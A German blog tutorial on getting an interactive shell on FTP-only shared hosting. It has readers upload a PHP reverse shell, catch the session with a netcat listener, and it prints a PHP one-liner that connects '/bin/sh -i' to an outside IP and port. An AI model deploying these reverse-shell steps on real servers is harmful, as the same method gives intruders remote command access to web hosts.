Nur FTP aber kein SSH? Wie du trotzdem interaktive Shell Sessions zu Shared Hostings aufbauen kannst
Sicher kennst du solche oder ähnliche Situationen: Du willst nur mal eben eine Testumgebung oder ein Backup für ein bestehendes Webprojekt anlegen, hast aber nur FTP-Zugang. Mal eben schnell das Projekt kopieren geht also nicht, da du es zunächst komplett herunterladen musst, nur um es dann wieder hochzuladen. Oder vielleicht willst du auch nur schnell etwas direkt auf den Webserver herunterladen ohne den Umweg über FTP zu gehen. Die Gründe für SSH sind vielfältig.
Wenn du aber keinen SSH-Zugang hast, können solche Situationen schon sehr nervig und zeitintensiv sein. Aber zum Glück gibt es Abhilfe in Form der Dunklen Seite der Macht aka Reverse Shell. Ich nutze diese Technik inzwischen so häufig, dass sie ein fester Bestandteil meines Toolsets geworden ist. Bei den allermeisten Hostern funktioniert das sogar ohne große Probleme. Das Motto der Reverse Shell: Wenn wir keine direkte Verbindung via SSH zum Server aufbauen können, können wir den Server vielleicht dazu bringen uns eine Shell-Sitzung zu senden.
Die Reverse Shell ist übrigens keine Web-Shell, die einzelne Kommandos ausführt und das Ergebnis zurück liefert. Sie ist interaktiv und erlaubt damit die Interaktion mit interaktiven Command Line Tools wie vim, nano oder mysql.
Folgendes brauchst du für die interaktive Sitzung
Die Folgenden Voraussetzungen müssen erfüllt sein, damit die Reverse Shell erzeugt werden kann:
- Du musst Dateien auf den Server laden können, sodass sie direkt im Webbrowser aufrufbar sind. Zum Beispiel per FTP oder mit einem CMS-Dateimanager
- Auf dem Zielserver muss zum Beispiel PHP installiert sein
- Der Zielserver muss Verbindungen nach außen aufbauen können
- Du brauchst einen zweiten Server, auf dem du dich via SSH einloggen kannst
Wie funktioniert die Reverse Shell konkret?
Anstelle direkt eine Verbindung per SSH zum Server aufzubauen, weisen wir den Webserver statdessen an, eine Session an einen anderen Server zu schicken, wo wir diese auffangen können. Die folgenden Schritte beschreiben das Vorgehen für ein Shared Hosting mit FTP-Zugang und installiertem PHP:
- Lade die Reverse Shell hier herunter: https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
- Trage in Zeile 49 die IP deines eigenen Servers ein, auf dem du dich per SSH einloggen kannst. Wenn du möchtest, kannst du noch den Port anpassen.
- Lade die Reverse Shell per FTP oder über Alternativen (Zum Beispiel über CMS-Systeme) auf den Zielserver hoch und sorge dafür, dass diese über den Webbrowser aufrufbar ist
- Logge dich per SSH auf dem Server ein, den du in der Reverse Shell angegeben hast, starte dort netcat und beginne auf dem in der Datei angegebene Port zu lauschen:
nc -v -n -l -p 1234 - Öffne dann den Webbrowser und rufe die Reverse Shell auf. Es hat nun den Anschein, als ob die Seite ewig lädt und irgendwann abbricht. Das ist gut so!
- Der Server, auf dem netcat lauscht, sollte die Session nun aufgefangen haben
Geschafft! Teste ein paar Kommandos
Juhu! Dein zweiter Server sollte die Shell mit netcat aufgefangen haben und du kannst nun loslegen. Teste doch einfach mal ein paar Kommandos wie whoami, pwd oder ls -la. Dabei wird dir auffallen, dass der User mit dem du nun operierst der Webserver-User (z.B. www-data) ist. Du bist zwar kein Root aber das Kopieren von Daten sollte trotzdem schnell und einfach klappen. Hier ein einfaches Beispiel:
cp -R /var/www/html/mywebsite.com /var/www/html/test.mywebsite.com
Übrigens: Auf einigen System laufen auch curl, wget, nano, vim, mysql, mysqldump oder tar. Je nachdem, was auf dem Server installiert ist, könnt ihr nach Lust und Laune Dateien verpacken, verschieben, herunterladen, löschen, Datenbanken importieren oder exportieren.
Stolperfallen
Sicher wirst du bemerkt haben, dass einige Steuerzeichen meist nicht so funktionieren, wie du es aus anderen Shell-Sitzungen gewohnt bist. Ich bin noch nicht ganz dahinter gekommen, warum das so ist. Vervollständigungen mit Tab oder das Scrollen in der History mit den Pfeiltasten werfen manchmal nur kryptische Zeichen zurück. Daher solltest du die Kommandos, die du ausführen willst einfach vorbereiten und in die Shell kopieren.
Auch wird dir sicher auffallen, dass die Sitzungen nicht so lange halten. Je nach Hosting halten sie länger oder kürzer. Es lohnt sich also auch daher die Kommandos vorzubereiten, um etwas schneller zu sein. Brechen die Verbindungen ab, kannst du netcat einfach neu starten und die Shell im Browser erneut aufrufen.
Sei vorsichtig mit sensitiven Daten! Die Reverse Shell ist keine Secure Shell und damit nicht verschlüsselt. Du solltest keine Passworte darüber transportieren. Erstelle dir stattdessen .sh-Skripte, welche die sensitiven Kommandos enthalten (z.B. Datenbank Exports). Lade diese ebenfalls über eine verschlüsselte FTP Verbindung oder über HTTPS auf die Website und führe sie in der Reverse Shell aus. Vergewissere dich außerdem, dass diese Dateien nicht so einfach über den Webbrowser aufgerufen werden können.
Auf einigen Systemen können sich Reverse Shells dämonisieren. Das ist erstmal gewollt, da dann Prozesse entstehen, die von der bisherigen PHP-Umgebung und der maximalen Ausführungszeit entkoppelt sind. Manchmal verbleiben dadurch aber Geisterprozesse auf dem Server, die nicht mehr enden, wenn die Sitzung beendet wird.
Auf einigen Webhostern läuft Antivierensoftware. Es kann durchaus sein, dass eure Reverse Shell von einigen Providern (Wie z.B. 1und1) erkannt wird. Wenn ihr dieses Tool bei Kunden verwendet, solltet ihr sie zumindest vorher darüber informieren. So verschickt 1und1 zum Beispiel umgehend verstörende Mails mit der Info, dass der Webspace mit Malware infiziert wurde.
Du willst mehr darüber wissen, wie das unter der Haube funktioniert?
Reverse Shells funktionieren, indem sie zunächst eine interaktive Session (Zum Beispiel mit /bin/sh -i) auf dem Server des Webhosters in Verbindung mit einer TCP-Verbindung (zum Beispiel fsockopen("10.0.0.1",1234)) erstellen. Bei PHP kann das dann so aussehen: $sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3"); Dabei werden jedoch die Standard-Dateihandels STDIN, STDOUT und STDERR an das TCP/IP Handel des Prozesses weitergeleitet: <&3 >&3 2>&3 Am Zielserver können diese aufgefangen und dort auf das lokale STDIO umgeleitet werden. Hier findest du weitere Ressourcen zum Thema: